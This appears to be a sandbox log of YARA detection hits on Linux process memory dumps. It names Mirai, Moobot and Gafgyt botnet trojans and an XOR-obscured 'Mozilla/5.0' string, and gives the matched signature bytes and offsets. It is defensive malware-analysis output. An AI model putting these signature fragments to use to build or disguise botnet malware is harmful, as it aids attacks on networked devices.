6685.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6685.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6935.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6935.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6935.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6935.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6935.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6935.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7143.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6727.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6727.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6727.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6727.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6727.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6727.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6546.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6668.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6536.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6536.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6536.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6536.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6536.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6536.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6653.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6876.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6774.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6774.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6774.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6774.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6774.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6774.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6246.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7413.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6970.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6330.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6330.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6330.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6330.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
